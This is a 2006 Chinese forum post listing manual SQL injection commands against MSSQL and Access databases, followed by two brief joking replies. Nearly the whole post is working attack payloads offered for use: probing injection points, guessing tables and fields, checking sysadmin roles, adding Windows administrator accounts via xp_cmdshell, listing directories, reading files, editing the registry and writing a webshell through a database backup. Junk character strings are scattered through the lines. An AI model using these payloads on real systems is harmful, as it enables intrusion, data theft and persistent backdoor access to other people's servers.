社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3579阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 U3{<+vSR`  
  2.初步判断是否是mssql ;and user>0 &u2;S?7m  
CM_hN>%w[  
  3.注入参数是字符'and [查询条件] and ''=' jsN[Drra  
T)\}V#iA*  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' ipwlP|UjQ5  
z$?F^3>  
  5.判断数据库系统 ['IH*gi  
hik.qK  
  ;and (select count(*) from sysobjects)>0 mssql ?XHQdN3e  
e]RzvWq  
  ;and (select count(*) from msysobjects)>0 access a<<4gXx  
YCbvCw$Ob  
sG`x |%t  
\_`qon$9  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 \jiE :Qt  
|SkQe[t  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 OT 0c5x  
I_r@Y:5{  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Me .I>7c  
s(=wG|   
  9.(1)猜字段的ascii值(access) $X#y9<bW  
<N vw*yA  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 qPQIcJ  
lp *GJP]T  
  (2)猜字段的ascii值(mssql) |8k1Bap`z  
Kv| x -_7  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 0SI@`C*1o  
1B4Qj`:+0  
  10.测试权限结构(mssql) PR@6=[|d  
KR>)Ek  
Iq + N0G<j  
Pf[E..HF*d  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Ol>q(-ea  
A<+Dx  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- z%D7x5!,R  
KoERg&fY  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pp@ Owpb  
V'i-pn2gyu  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- '#+&?6p  
0vv~G\yM  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }p~2lOI  
oPKLr31zt  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- p3M!H2W  
j9+4},>>CU  
  ;and 1=(select IS_MEMBER('db_owner'));-- B->AY.&j  
4C*ywP  
KnG7w^  
Tvx1+0Z%z  
  11.添加mssql和系统的帐户 d6J/)nl  
v6*0@/L M  
  ;exec master.dbo.sp_addlogin username;-- MNu0t\`p4  
  ;exec master.dbo.sp_password null,username,password;-- 8qyEHUN2q  
|n 26[=\B  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- l!tR<$|  
JIySe:p3  
  ;exec master.dbo.xp_cmdshell 'net user username password Y}ogwg&  
#LasTN9  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- D>7a0p784  
b}K,wAx  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- pl]|yIZ  
KqFI2@v   
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- i=gZ8Q=H  
, #)d  
Lk(ESV;r  
8c9HJ9vk  
  12.(1)遍历目录 ,Wlt[T(.;  
)]P(!hW.  
  ;create table dirs(paths varchar(100), id int) b > D  
uVEJV |^/  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 27SHj9I  
hN3FH# YO  
  ;and (select top 1 paths from dirs)>0 I8bM-k):9R  
X FS~  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (tg.]q_=u  
0-Mzb{n5  
'9}&@;-_  
i7#4&r  
  (2)遍历目录 DPI[~  
B\Nbt!Ps  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- '7?Y+R@|L  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 x%EGxs;>^  
:r*hY$v  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Fl`U{03  
%YR&>j k  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 KsKE#])&l  
r9ulTv}X  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Dj\nsc@e3  
_WEJ,0* #'  
=.3#l@E!C  
'n'>+W:  
  13.mssql中的存储过程 w ,j*I7V  
ZO<,V  
  xp_regenumvalues 注册表根键, 子键 O*~,L6# }  
p":u]Xgb  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y9^l|,bm5  
$?56 i4  
  xp_regread 根键,子键,键值名 Tx.N#,T|  
9S%5 Z>  
  ;exec xp_regread p~w] ~\  
JQ%hh&M\0  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 oP,*H6)i  
$S#Z>d*1!  
  xp_regwrite 根键,子键, 值名, 值类型, 值 n#">k%bD  
 LSC[S:  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 _KM? ?&  
=dAAb\:  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V#ELn[k  
MH.+pqIv^  
  xp_regdeletevalue 根键,子键,值名 t(3f} ?  
 R0Vt_7  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 7ui<2(W@0  
_pTcSp 3  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 yI^Yh{  
RhowhQ)G  
 Fe!MA  
u !BU^@P  
  14.mssql的backup创建webshell 64u(X^i  
o ]*yI[\  
  use model x {NBhq(4  
G J%^hr`P  
  create table cmd(str image); 0Q{lyu  
}h^ fX  
  insert into cmd(str) values (''); 1K9.3n   
v[ iJ(C_  
  backup database model to disk='c:\l.asp'; '7'/+G'~&  
jF?0,g  
\ *t\=4  
DSLX/u o1  
  15.mssql内置函数 5sJ>+Rg  
) h]+cGM  
  ;and (select @@version)>0 获得Windows的版本号 7z;2J;u`n  
<W0(!<U  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ??/bI~Sd  
-YQh F;/  
  ;and (select user_name())>0 爆当前系统的连接用户 77M!2S_E  
WHE<E rV%  
  ;and (select db_name())>0 得到当前连接的数据库 NMkP#s7.y  
 qra XAQ  
x"z\d,O%W  
D|zuj]  
  16.简洁的webshell $]|3^(y``  
gCg hWg{S  
  use model ]H/,Q6Q  
g kmof^  
  create table cmd(str image); U;bx^2<m  
N*A*\B%{x'  
  insert into cmd(str) values (''); Iy_5k8 ]  
AZ!/{1Az  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五